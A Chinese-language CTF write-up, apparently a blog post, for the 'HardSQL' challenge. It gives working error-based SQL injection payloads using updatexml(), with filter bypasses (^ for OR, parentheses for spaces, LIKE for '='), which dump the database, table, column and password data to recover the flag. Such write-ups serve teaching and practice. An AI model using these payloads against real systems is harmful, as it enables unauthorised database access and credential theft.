HardSQL笔记
这道题,过滤了大部分常见的传参,甚至连空格、等于号也过滤了,但是没有过滤报错注入
是个表单,有两个可填字段:账号密码,虽然是表单,但是是get传参
这里补充一下:--+经过url编码就是--空格 #经过URL编码就是%23,get传参不能写井号,不会被传参,会认为是锚点,--空格的最后一个空格不会被传进去
这里用updatexml()函数进行报错注入
先报当前库名:(这里有个知识:用^符号来代替or符号,^的意思是异或,符号两边肯定都会执行)
?username=a&password=a'^updatexml(1,concat('~',database()),1)%23
得到当前数据库名:geek
再爆geek库里的表名:(这里注意:用括号把一些名词关键字括起来可以代替空格,如果是字符串的话注意括号里带上单引号,还有/**/注释也可以代替空格)
?username=a&password=a'^updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),1)%23
就一个表名:H4rDsq1
再爆列名:(这里注意:and可以用&代替,在当前数据库中查字段,where后可以不写(table_schema)like)
?username=a&password=a'^updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1)%23
得到id,username,password
再查数据:
?username=a&password=a'^updatexml(1,concat('~',(select(password)from(H4rDsq1))),1)%23
得到flag{044eff1a-1806-4003-8b30-3a
使用right()函数,查询右半段。
?username=a&password=a'^updatexml(1,concat('~',(select(right(password,30))from(H4rDsq1))),1)%23
a-1806-4003-8b30-3a71a79e78ae}
拼接flag:
flag{044eff1a-1806-4003-8b30-3a71a79e78ae}
重点:
and or用&& ^绕过,=用like绕过
right()函数查右半部分
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~